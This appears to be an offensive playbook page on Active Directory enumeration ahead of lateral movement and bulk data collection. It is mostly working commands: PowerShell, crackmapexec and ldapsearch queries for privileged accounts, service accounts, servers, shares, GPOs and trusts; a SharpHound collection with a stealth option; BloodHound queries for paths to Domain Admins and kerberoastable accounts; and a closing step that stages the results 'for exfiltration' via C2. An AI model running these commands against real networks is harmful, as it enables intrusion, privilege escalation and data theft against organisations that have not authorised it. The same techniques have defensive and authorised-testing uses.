Active Directory enumeration for collection¶
Mapping the Active Directory environment to identify high-value targets, privileged accounts, attack paths, and where sensitive data lives before beginning lateral movement or bulk collection.
Audit the environment before touching anything¶
# check current identity and privileges
whoami /all
[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups |
Where-Object { $_.Value -match 'S-1-5-32-544|Domain Admins|Enterprise Admins' }
# identify domain and forest
(Get-ADDomain).DNSRoot
(Get-ADForest).Name
(Get-ADForest).Domains
User and group enumeration¶
# enumerate all enabled users with last logon
Get-ADUser -Filter { Enabled -eq $true } -Properties LastLogonDate, MemberOf |
Select-Object SamAccountName, LastLogonDate,
@{N='Groups'; E={$_.MemberOf -join '; '}} |
Sort-Object LastLogonDate -Descending
# privileged groups: who is in them?
foreach ($group in @('Domain Admins','Enterprise Admins','Schema Admins',
'Backup Operators','Account Operators','Server Operators')) {
$members = Get-ADGroupMember -Identity $group -Recursive 2>/dev/null |
Select-Object -ExpandProperty SamAccountName
Write-Output "$group : $($members -join ', ')"
}
# service accounts: often over-privileged, often have weak passwords
Get-ADUser -Filter { ServicePrincipalName -like '*' } -Properties ServicePrincipalName |
Select-Object SamAccountName, ServicePrincipalName
Computer enumeration¶
# all domain computers with OS
Get-ADComputer -Filter * -Properties OperatingSystem, LastLogonDate |
Select-Object Name, OperatingSystem, LastLogonDate |
Sort-Object LastLogonDate -Descending
# find servers specifically (useful for targeting file shares, databases)
Get-ADComputer -Filter { OperatingSystem -like '*Server*' } -Properties OperatingSystem |
Select-Object Name, OperatingSystem
Share enumeration¶
# enumerate accessible shares across the domain
$computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
foreach ($computer in $computers) {
try {
$shares = Get-WmiObject -Class Win32_Share -ComputerName $computer `
-ErrorAction Stop |
Where-Object { $_.Type -eq 0 } # disk shares only
foreach ($share in $shares) {
Write-Output "$computer\$($share.Name): $($share.Path)"
}
} catch {}
}
# Linux: find shares using crackmapexec or smbclient
crackmapexec smb 192.168.1.0/24 --shares -u USER -p PASSWORD
BloodHound collection¶
BloodHound provides attack path visualisation. SharpHound performs the ingest; the output JSON files are imported into BloodHound.
# SharpHound: collect all data (runs as current user)
.\SharpHound.exe -c All --outputdirectory C:\Temp\bh\
# stealthier: collect specific data only and use a lower collection frequency
.\SharpHound.exe -c DCOnly --stealth --outputdirectory C:\Temp\bh\
After import, key BloodHound queries:
# Cypher: find shortest path to Domain Admins from owned principals
MATCH p=shortestPath((n {owned:true})-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p
# find users with DCSync rights
MATCH (n)-[:DCSync|AllExtendedRights|GenericAll]->(m:Domain)
RETURN n.name, m.name
# find kerberoastable users
MATCH (u:User {hasspn:true}) WHERE u.enabled=true
RETURN u.name, u.serviceprincipalnames
Group Policy and trust enumeration¶
# enumerate GPOs (may contain credential material or scripts)
Get-GPO -All | Select-Object DisplayName, GpoStatus, ModificationTime
# find GPO settings that deploy scripts
Get-GPO -All | ForEach-Object {
$report = Get-GPOReport -Guid $_.Id -ReportType XML
if ($report -match 'Script') { Write-Output $_.DisplayName }
}
# domain trusts: other domains that may be reachable
Get-ADTrust -Filter * | Select-Object Name, TrustType, TrustDirection, TrustAttributes
LDAP queries (when PowerShell cmdlets are restricted)¶
# ldapsearch from Linux against a domain controller
ldapsearch -H ldap://DC_IP -b "DC=domain,DC=local" \
-D "user@domain.local" -w "PASSWORD" \
"(objectClass=user)" sAMAccountName userPrincipalName memberOf
# find accounts with passwords that do not expire
ldapsearch -H ldap://DC_IP -b "DC=domain,DC=local" \
-D "user@domain.local" -w "PASSWORD" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" \
sAMAccountName
Output and staging¶
Collected enumeration data should be staged for exfiltration before leaving the environment. Compress and optionally encrypt the output:
Compress-Archive -Path C:\Temp\bh\*.json -DestinationPath C:\Temp\bh.zip
# exfiltrate bh.zip via C2 or exfiltration channel